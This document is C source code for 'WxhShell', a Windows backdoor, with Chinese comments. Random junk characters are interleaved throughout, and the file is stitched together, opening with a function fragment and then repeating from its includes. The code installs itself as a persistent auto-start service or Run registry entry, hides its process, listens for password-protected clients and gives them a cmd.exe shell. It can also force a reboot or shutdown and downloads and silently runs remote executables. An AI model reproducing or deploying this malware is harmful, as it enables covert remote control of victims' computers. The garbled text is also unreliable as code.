mPY* if(NULL == hInst ) return 0; {Kbb4%P+h 8ClOd<I g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V*}xlxSL g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &oU) ,H NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -^R6U~ Z}b25) if (!NtQueryInformationProcess) return 0; n5Coxvy1 >g {w, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D7X8yv1 if(!hProcess) return 0; 1" k_l.\,0 =sp5.-r if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u!]g^r V:YN! CloseHandle(hProcess); xJ&E2Bf FV 0x/)<z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %oee x1`= if(hProcess==NULL) return 0; h?8I`Z)h q=, HMODULE hMod; )\`.Ru~, char procName[255]; =yR$^VSY unsigned long cbNeeded; ?KB+2]7m6 k}0Y&cT!rU if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nq/SGo[c gpvzOW/ CloseHandle(hProcess); P(Gv|Q@ _l ,_NV&T if(strstr(procName,"services")) return 1; // 以服务启动 jmE\+yz 7o99@K, return 0; // 注册表启动 ],W/IDv } S;I>W&U ZUA%ZkX=F // 主模块 [& d"Z2gK int StartWxhshell(LPSTR lpCmdLine) m9Pzy^g1 { e`7dRnx&0 SOCKET wsl; Gg,&~
jHib BOOL val=TRUE; ?=FRnpU? int port=0; (O(X k+L struct sockaddr_in door; 2[V9`r8* C/JFb zVx if(wscfg.ws_autoins) Install(); J
,s9,(" L>ruNw'-K port=atoi(lpCmdLine); N!Q~?/!d A8zh27[w% if(port<=0) port=wscfg.ws_port; s?9$o
Qq1 ,,Ia 4c
WSADATA data; (rT1wup if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (c\i .z d1{%z\u
a if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
L7rEMq setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +\ZaVi door.sin_family = AF_INET; LP{@r ic door.sin_addr.s_addr = inet_addr("127.0.0.1"); B*-A erdH door.sin_port = htons(port); %"gV>E_u ^}{`bw {
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *?`<Ea closesocket(wsl); -]-?>gkN5 return 1; 3;F+.{Icc } @&F\ M} (oG-h"^/ if(listen(wsl,2) == INVALID_SOCKET) { gwQk
M4 closesocket(wsl); $%Kyz\;7/ return 1; 8jdEx&K } ln*_mM/Q% Wxhshell(wsl); RLE6=#4 WSACleanup(); Eo@b)h L>X39R~ return 0; B4/\RC2 AfaoFn+ } Z{p62|+Ck@ {{+woL'C // 以NT服务方式启动 ;p] f5R^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :L&d>Ii|' { rE5q
BEh DWORD status = 0; 6d#:v"^, DWORD specificError = 0xfffffff; [}1+=Ub G@+AB*Eu serviceStatus.dwServiceType = SERVICE_WIN32; Lk8NjK6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; YYi:d=0<SO serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +=JJ=F) serviceStatus.dwWin32ExitCode = 0; W>2m%q
U serviceStatus.dwServiceSpecificExitCode = 0; AfqthI$*m serviceStatus.dwCheckPoint = 0; H]a@"gO serviceStatus.dwWaitHint = 0; rD*CLqK kfQi}D'a hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %.mHV7c)% if (hServiceStatusHandle==0) return; ecqL;_{o !Bqmw status = GetLastError(); E#^?M#C if (status!=NO_ERROR) w.0:#4 { Z^l!#"\4m serviceStatus.dwCurrentState = SERVICE_STOPPED; 863PVce",} serviceStatus.dwCheckPoint = 0; =zXA0% serviceStatus.dwWaitHint = 0; TD"w@jBA serviceStatus.dwWin32ExitCode = status; ]fb3>HOTJ serviceStatus.dwServiceSpecificExitCode = specificError; W9A
[Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); v9S1<|jN return; fo$Ac } bPhb d fd&=\~1_$ serviceStatus.dwCurrentState = SERVICE_RUNNING; YjTA+1} serviceStatus.dwCheckPoint = 0; n+94./Mh serviceStatus.dwWaitHint = 0; MET"s.v if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "U6:z M } +u[?8D7Y zSM;N^X 8? // 处理NT服务事件,比如:启动、停止 (Tbw@BFk VOID WINAPI NTServiceHandler(DWORD fdwControl) ~L3]Wa. { B 4my switch(fdwControl) j ?gscQ3 { 7$/%c{o case SERVICE_CONTROL_STOP: +:D90p$e serviceStatus.dwWin32ExitCode = 0; ~K-_]*[x serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Px serviceStatus.dwCheckPoint = 0; Q?7:XbN serviceStatus.dwWaitHint = 0; +~] :oj { 0oU;Cmw. SetServiceStatus(hServiceStatusHandle, &serviceStatus); LI/;`Y= } gZ&' J\ return; C?47v4n-' case SERVICE_CONTROL_PAUSE: 0{'%j~" serviceStatus.dwCurrentState = SERVICE_PAUSED; X GhV?
tA break; I6B4S"Q5< case SERVICE_CONTROL_CONTINUE: cPL]WI0( serviceStatus.dwCurrentState = SERVICE_RUNNING; qL1d-nH break; dXvp-oi case SERVICE_CONTROL_INTERROGATE: kIlK"= break; ;+W9EbY2 }; gyx4= 'Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^V5g[XL2 } @b,&b6V wNt-mgir-Q // 标准应用程序主函数 CTOrBl$70 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U2@Mxw { 9YjO
e|&}{JP{[ // 获取操作系统版本 @*}?4wU^k OsIsNt=GetOsVer(); SGUu\yS&s GetModuleFileName(NULL,ExeFile,MAX_PATH); @*{sj`AS
' F>!gwmn~ // 从命令行安装 Mq[|w2. if(strpbrk(lpCmdLine,"iI")) Install(); `E4OgO
wn-{Vkpm // 下载执行文件 <xpHlLc if(wscfg.ws_downexe) { xO nW~Z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ( /): WinExec(wscfg.ws_filenam,SW_HIDE); (RtjD`e} } Y\pRk6, z')zVoW, if(!OsIsNt) { /H m),9NN // 如果时win9x,隐藏进程并且设置为注册表启动 v?S~ =$. HideProc(); _8;)J StartWxhshell(lpCmdLine); 1E'/! | } >QJfTkD$ else y7x[noGtR if(StartFromService()) j^&{5s // 以服务方式启动 Il&}4#: StartServiceCtrlDispatcher(DispatchTable); #FL\9RXy else Q*h%'oc` // 普通方式启动 jh|4Y( StartWxhshell(lpCmdLine); SSh=r +&:?*(?Q return 0; v!b
8_0~u6 } :(o6^%x oy?>e1Sy* )rP)-op|A FJj # =========================================== $F,&7{^ mhXSbo9w- ygz6 ~( Q#$#VT!F qp6*v& kk*:S* , " QoVRZ $!p Y3J;Kk#AH #include <stdio.h> "Nx3_mQ #include <string.h> A7SE>e> #include <windows.h> EE<^q?[3^ #include <winsock2.h> ^Nu0+S #include <winsvc.h> \h&ui]V #include <urlmon.h> :1O1I2L0 /V%]lmxQ #pragma comment (lib, "Ws2_32.lib") {g7[3WRy #pragma comment (lib, "urlmon.lib") &D[pX|! h)746T ) #define MAX_USER 100 // 最大客户端连接数 P4~=_Hh #define BUF_SOCK 200 // sock buffer ggR--`D[ #define KEY_BUFF 255 // 输入 buffer .{@aQwN 0/F/U=Z! #define REBOOT 0 // 重启 sivd@7r\Fa #define SHUTDOWN 1 // 关机
mGK-&|gq 5v
uB87` #define DEF_PORT 5000 // 监听端口 qXQ/M] k;?Oi?] #define REG_LEN 16 // 注册表键长度 't5 I%F #define SVC_LEN 80 // NT服务名长度 ~SW_jiKM 4[eQ5$CB<u // 从dll定义API %%w/;o!c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jW G=k#WN typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /W,K% s] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i(k]}Di: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8sV_@<l<X BIr24N // wxhshell配置信息 K[XFJ 9 struct WSCFG { )E2^G)J$W int ws_port; // 监听端口 p`i_s(u char ws_passstr[REG_LEN]; // 口令 N {$'-[ int ws_autoins; // 安装标记, 1=yes 0=no 5* d char ws_regname[REG_LEN]; // 注册表键名 X@[)jWs char ws_svcname[REG_LEN]; // 服务名 c&o|I4|Y, char ws_svcdisp[SVC_LEN]; // 服务显示名 j+_pF<$f: char ws_svcdesc[SVC_LEN]; // 服务描述信息 71h?t`N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >WsRCBA int ws_downexe; // 下载执行标记, 1=yes 0=no j9=QOq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h]#wwJF char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;BR`}~m ( _{\tgSm }; 2eOde(K+ u{o!j7 // default Wxhshell configuration Y`QJcC(3 struct WSCFG wscfg={DEF_PORT, JVA JLq "xuhuanlingzhe", L Ty[) 1, f1;Pzr "Wxhshell", ~_P,z? "Wxhshell", *yqEl
O "WxhShell Service", [-cYFdt"V "Wrsky Windows CmdShell Service", U:eahK "Please Input Your Password: ", #/ 1 1, oB:tio4DE "http://www.wrsky.com/wxhshell.exe", KaC+x-%K "Wxhshell.exe" J7BfH,o }; q<rB(j-( !o2lB^e8 // 消息定义模块 #$xiqL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C6=7zYhR char *msg_ws_prompt="\n\r? for help\n\r#>"; w%Tcx^: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lH/d#MT char *msg_ws_ext="\n\rExit."; 5V\\w~&/ char *msg_ws_end="\n\rQuit."; k#TonT char *msg_ws_boot="\n\rReboot..."; /#M|)V*wn char *msg_ws_poff="\n\rShutdown..."; IiV:bHUE}0 char *msg_ws_down="\n\rSave to "; N=&~3k ]sJWiIe. char *msg_ws_err="\n\rErr!"; 5QU7!jbI char *msg_ws_ok="\n\rOK!"; [G^ir /i|T \ char ExeFile[MAX_PATH]; D^To:N7U int nUser = 0; >h/J{T(P>h HANDLE handles[MAX_USER]; bNR}Mk]? int OsIsNt; 2~+_T |:n4t6 SERVICE_STATUS serviceStatus; EoqUFa, SERVICE_STATUS_HANDLE hServiceStatusHandle; uYAPGs#k
rxQn[ // 函数声明 wE:hl int Install(void); Af5O;v\ int Uninstall(void); ,p/iN9+Z int DownloadFile(char *sURL, SOCKET wsh); l?v-9l M int Boot(int flag); TOV531
void HideProc(void); ymSGB`CP int GetOsVer(void); hHF YAh int Wxhshell(SOCKET wsl); -J4?Km void TalkWithClient(void *cs); K:fK!/ int CmdShell(SOCKET sock); YbF}(iM int StartFromService(void); a0OH int StartWxhshell(LPSTR lpCmdLine); 1SeDrzLA |i5A
F\w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a?K= VOID WINAPI NTServiceHandler( DWORD fdwControl ); g4_DEBh $A)i}M;uK // 数据结构和表定义 y%
=nhV SERVICE_TABLE_ENTRY DispatchTable[] = f m.-*`ax { :;\>jxA {wscfg.ws_svcname, NTServiceMain}, AxLnF(eG {NULL, NULL} 7yxZe4~|# }; 'n%Ac&kk I{AteL // 自我安装 rVq=,>M9 int Install(void) >up'`K, {
fQc2K|V char svExeFile[MAX_PATH]; tpj({
HKEY key; v;AMx-_WH strcpy(svExeFile,ExeFile); NJSzOL_ Y15KaoK? // 如果是win9x系统,修改注册表设为自启动 pUki!TA if(!OsIsNt) { Dp!3uR']p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *`[dC,+`. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |ZW%+AQ| RegCloseKey(key); }2-<}m9} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Czq[n=0( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S3]Cz$ RegCloseKey(key); Au &NQ+ return 0; K <7#; } #=UEx
} w~@.& } 4Waot else { ?#idmb}( q/~U[.C // 如果是NT以上系统,安装为系统服务 SHS:>V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oB;EP if (schSCManager!=0) L{(\k$>' { ^l;nBD#nJ SC_HANDLE schService = CreateService Z<6xQTx ( e|u|b schSCManager, b}4k-hZL wscfg.ws_svcname, =A&x
d" wscfg.ws_svcdisp, }q9;..oL SERVICE_ALL_ACCESS, "ut:\%39. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 68?oV)fE SERVICE_AUTO_START, h"/FqO SERVICE_ERROR_NORMAL, mcAg,~"HB svExeFile, w
V&{w7 NULL, g=.~_&O NULL, pisjfNT`o NULL, JViglO1\ NULL, t]LCe\# NULL |j53'>N[ ); -Qx:-,.a if (schService!=0) 50%
|9D0?Y { !U.Xb6 CloseServiceHandle(schService); 6T{Zee CloseServiceHandle(schSCManager); Z#YkAQHv5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ! )$
PD@ strcat(svExeFile,wscfg.ws_svcname); V0+D{|thh6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |$@/
Z+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '0x`Oh&PK RegCloseKey(key); 2f(5C*~ return 0; o8\@R } _l,?Y;OF } c\~H_ ~F CloseServiceHandle(schSCManager); bA\TuB } !PUbaF-.6 } ^p(t*%LM e\i K return 1; ?P4@U9i } -IhFPjQ $~c?qU // 自我卸载 3?I^D /K^ int Uninstall(void) x'*,~u { +F q`I2l| HKEY key; \ &1)k/ [z#C&gDt if(!OsIsNt) { vr56
f1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JG&`l{c9 RegDeleteValue(key,wscfg.ws_regname); *u.6,jw RegCloseKey(key); Wh[+cH"M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H6?ZE RegDeleteValue(key,wscfg.ws_regname); 7cin?Z1 RegCloseKey(key); yZ3/Ia>, return 0; /=Bz[O } <y5V],-U } x bF*4;^SI } ;;'b;,/ else { Ry*NRP; -}|GkTM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {Pm^G^EP if (schSCManager!=0) ?l#9ydi? { rm2"pfs SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %98F>wl if (schService!=0) '8>h4s4 { 6dTq&GZ\ if(DeleteService(schService)!=0) { dq~p]h~,H CloseServiceHandle(schService); AH`D&V CloseServiceHandle(schSCManager); D3Lu]=G return 0; d{+H|$L` } .CFaBwj CloseServiceHandle(schService); p#~'xq } Ge$cV} CloseServiceHandle(schSCManager); ;AKtbS;H } B[7|]"L@ } G3&ES3L *FDz20S return 1; QxvxeK!Y } )k0e} 2pFOC;tl // 从指定url下载文件 =Run int DownloadFile(char *sURL, SOCKET wsh) ;SkC[;`J { K0 .f4o HRESULT hr; LB%_FT5 char seps[]= "/"; KY/}jJW char *token; w~M5)b char *file; J'^s5hxn+0 char myURL[MAX_PATH]; on(P char myFILE[MAX_PATH]; , M$*c SPW @TF1 strcpy(myURL,sURL); d_#\^!9 token=strtok(myURL,seps); m>2b %GTh while(token!=NULL) lGqwB,K$z4 { XPXC7_fV file=token; {"8\~r &b token=strtok(NULL,seps); FW&P`Iu } ^T"9ZBkb 9oS \{[x. GetCurrentDirectory(MAX_PATH,myFILE); \@nmM&7C!4 strcat(myFILE, "\\"); =:`1!W0I strcat(myFILE, file); T_ Q/KhLU send(wsh,myFILE,strlen(myFILE),0); 3 2Q/4 send(wsh,"...",3,0); [YP8z~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~!~VC)a* if(hr==S_OK) A$ %5l return 0; G;615p1 else 8
W8ahG} return 1; 6HpSZa I^/Ugu } VBR@f<2L ;5#P? // 系统电源模块 hZI9*=`," int Boot(int flag) =wK3\rG { |s|>46E HANDLE hToken; !Jb?rSJ.h TOKEN_PRIVILEGES tkp; 4?M=?K0 O;
EI& if(OsIsNt) { YD2M<.U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); //KTEAYyy# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !.iu_xJ tkp.PrivilegeCount = 1; H7G*Vg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mn\e(WoX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K2nq2Gbn if(flag==REBOOT) { 1iaNb[:QX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {@g3AG% return 0; k#`.!yI, } O]w &uim else { W5}.WFu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CU6rw+Vax return 0; 2N)=fBF%- } qfE/,L(B } k<=.1cFh else { :BCjt@K} if(flag==REBOOT) { ttLChL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Qo`UL.} return 0; dW;{,Q } )vOZp& else { ?yddr`?W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )z3mS2 return 0; oe`oUnN } n?@3R#4D3 } '1ff| c!x9 fMwJwMT8 return 1; 2tCep } g]iWD;61 /fA:Fnv // win9x进程隐藏模块 t d q;D void HideProc(void) T*\'G6e { TWl':} jnt0,y A HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X1:| if ( hKernel != NULL ) UBpYR>
<\ { Rg<y8~|'} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A)040n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GhLgV FreeLibrary(hKernel); dTyTj|"x{ } (rt DT Um;ReJ8z return; vuuID24: } Ts:dnGR5 56u'XMB? // 获取操作系统版本 Y[$[0 int GetOsVer(void) RmO-".$yt { c;w
cgU OSVERSIONINFO winfo; Y%p"RB[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4a>z]&s GetVersionEx(&winfo); !OPK?7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $q
DH return 1; Gw!jYnU else W6&".2 return 0; [:a;|t } :~:(49l Y1{6lhxgE // 客户端句柄模块 s?=f,I int Wxhshell(SOCKET wsl) NeCTEe|V { M^r1b1tR SOCKET wsh; xex/L%!Rj struct sockaddr_in client; 6;dB DWORD myID; gTW(2?xYf zi2hi9A while(nUser<MAX_USER) #$K\:V+ 4 { P`[6IS#\S int nSize=sizeof(client); #1z}~1- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S#!PDg if(wsh==INVALID_SOCKET) return 1; j !&g:{ e 4xT(Uj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D!J
("~[3 if(handles[nUser]==0) r&0v,WSp&S closesocket(wsh); +H/^RvUjF else !s\-i6S> nUser++; @luv;X^% } 3 _:yHwkD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j?/T7a^ W)<us?5Ec5 return 0; $4 >K2 } p:k>!8.Qho O]m,zk // 关闭 socket Sq-mH=rs] void CloseIt(SOCKET wsh) }OI;M^5L { Jnb>u*7, closesocket(wsh); VZb0x)w nUser--; l *yml ExitThread(0); H~J#!3 } AmRppbj/wO Th`IpxV // 客户端请求句柄 j9) Z'L void TalkWithClient(void *cs) ^=pn!lK;^ { a5?Rj~h!< Pf]6'?kQ SOCKET wsh=(SOCKET)cs; 3VB{Qj char pwd[SVC_LEN]; $eX ;
2 char cmd[KEY_BUFF]; 4tCyd5u a8 char chr[1]; 7>wSbAR< int i,j; 6Ei>VcN4a $?(fiFC while (nUser < MAX_USER) { ss236&
x76<u:
if(wscfg.ws_passstr) { '2/48j X5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }7X85@jC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]|Vm*zO //ZeroMemory(pwd,KEY_BUFF); t{Q9Kv i=0; #";(&|7 while(i<SVC_LEN) { FX+Ra@I! OY51~#BF // 设置超时 'd|_ i6:y& fd_set FdRead; jv5p_v4%O struct timeval TimeOut; u(\b1h n FD_ZERO(&FdRead); #8%Lc3n FD_SET(wsh,&FdRead); '?v.O} TimeOut.tv_sec=8; 'S)}mG_ TimeOut.tv_usec=0; r_-iOxt~5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
xdXt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,l#V eC c+_F nA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :?U1^!$$1 pwd=chr[0]; 1
BAnf9
if(chr[0]==0xd || chr[0]==0xa) { y2TJDb1 pwd=0; PC7U&*x@ break; *
"~^k^_b} } 31
QT i++; i.)kV B } Jf|J":S ]GJIrtS4 // 如果是非法用户,关闭 socket 71@V|$Dy if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +smPR } ^$6EO)< )C<c{mjk( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qI)
Yzc/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UKZsq5Q c9= ;:E while(1) { P,j)m\| W.HM!HQp ZeroMemory(cmd,KEY_BUFF); U9y[b82 mPi4.p) // 自动支持客户端 telnet标准 >(|T]u](q j=0; C^2Tql while(j<KEY_BUFF) { 3*/y<Z'H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SYw>P1 cmd[j]=chr[0]; ]pzf{8% if(chr[0]==0xa || chr[0]==0xd) { f*0[[J0] cmd[j]=0; ';^VdR]fk break; Vge9AH:op } NJI-8qTGI j++; 2h@/Q)z } <2fZYt vt !.?2zp~ // 下载文件 G yvEc3|@ if(strstr(cmd,"http://")) { lSPQXu*[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2>Xgo% if(DownloadFile(cmd,wsh)) X"z^4?Aj+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); T[`o$j6 else @dvlSqm) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F
*=>= } -lQ8
&eB else { bg'Qq|<U p`fUpARA! switch(cmd[0]) { }Y[xj{2$O 6U Q~Fv`] // 帮助 )[C]1N=tK case '?': { =2F;'T\6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G|H+
,B break; )\s{\u
\ } vO`~rUA // 安装 s!:'3[7+
case 'i': { $Ypt
/` if(Install()) i882r=TE3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); <~@}r\ else LUc!a4i"fO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Za_w@o break; _ I"}3* } v*iD)k:|t // 卸载 K|%.mcs4 case 'r': { y-6k<RN if(Uninstall()) Q'5]E{1<'n send(wsh,msg_ws_err,strlen(msg_ws_err),0); O`j1~o<{ else Lp.dF)C\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Rr)1x7 break; t1}R#NB } "
R!,5HQF; // 显示 wxhshell 所在路径 T1%_sq case 'p': { "yJFb=Xdq char svExeFile[MAX_PATH]; L1ro\ H strcpy(svExeFile,"\n\r"); \f\CK@ strcat(svExeFile,ExeFile); o-a\T send(wsh,svExeFile,strlen(svExeFile),0); d0``: break; S3 12#X(% } (yA`h@@WS // 重启 v7gs
$'Q case 'b': { o 9\J
vJk send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?*cr|G$r[ if(Boot(REBOOT)) K~Nx;{{d send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6l]jmj)/ else { + -~8t^ closesocket(wsh); 1[p6v4qO{ ExitThread(0); Nk?eVJ) } sB`.G break; e}>3<Dh } ]Y111<Ja // 关机 Oxsx\f_ case 'd': { RT`.S
uN send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0"}qND if(Boot(SHUTDOWN)) dyWj+N5( send(wsh,msg_ws_err,strlen(msg_ws_err),0); q> |&u
else { "QSmxr closesocket(wsh); " b3-'/& ExitThread(0); WN#S%G:Q) } {6Y |Z> break; V3D`pt\[x } H j [!F% // 获取shell 3D 4-Wo4 case 's': { 42$ pvw< CmdShell(wsh); 2(I S*idq closesocket(wsh); 4}4 cA\B:n ExitThread(0); |2ImitN0 break; B703{k } @*e5(@R // 退出 <qGxkV
case 'x': { sg` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ul3~!9F5F CloseIt(wsh);
)ut$644R break; Nyt*mbd5
{ } B{b?j*fHJ // 离开 ;vneeW4| case 'q': { gg.]\#3g send(wsh,msg_ws_end,strlen(msg_ws_end),0); sj4\lpZ3h closesocket(wsh); ZJF"Yo WSACleanup(); O&MH5^I exit(1); RP$h;0EQG break; (a0(ZOKH } >|, <9z`D } T;5VNRgpI } "n]x%. * $@@ii+W}\ // 提示信息 ~r?tFE*+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ia3Q1 9r } sBYDo{01 } Q>\Ho' yKuZJXGVo return; c0Bqm } +_ /ys! )sW!s3>S> // shell模块句柄 %19~9Tw int CmdShell(SOCKET sock) iZ>P>x\ { _p0gXb1m` STARTUPINFO si; +pq)
7 ZeroMemory(&si,sizeof(si)); y{&%]Fq
<5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h<)ceD<, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4i.&geXA. PROCESS_INFORMATION ProcessInfo; 45n.%*, char cmdline[]="cmd"; ]]_5_)"4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V dvj*I return 0; %E/#h8oN{ } sxA]o| T59FRX // 自身启动模式 M"W#_wY; int StartFromService(void) n-SO201[* { lwfM>%%N typedef struct dl[%C6 { u $[&'D6 DWORD ExitStatus; n|? sNM<J3 DWORD PebBaseAddress; 7XT(n v DWORD AffinityMask; "9dZ
z/{ DWORD BasePriority; %
>a
/m.$ ULONG UniqueProcessId; *1!'ZfT; ULONG InheritedFromUniqueProcessId; B_iaty } PROCESS_BASIC_INFORMATION; Xs|d#WbX 'hPW#*#W< PROCNTQSIP NtQueryInformationProcess; lK/4"& !~RK2d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4YI6& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
AV|:v3 bf=\ED ^ HANDLE hProcess; #g@4c3um| PROCESS_BASIC_INFORMATION pbi; 9>0OpgvC( y{<js!au HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \!jz1`]&{ if(NULL == hInst ) return 0; h8%QF'C ^tSwA anP\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1c@S[y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p<h( NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'AWWdz \v+c. if (!NtQueryInformationProcess) return 0; Drf Au **z^aH?B2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^\ln8!; if(!hProcess) return 0; 9@lG{9id? Ake l .& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jTNt!2 :B P.Cn[64a+@ CloseHandle(hProcess); %XBTN p ^TCr<= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J#j3?qrxu if(hProcess==NULL) return 0; Q(Q?L5
i9rv8"0> HMODULE hMod; Gg
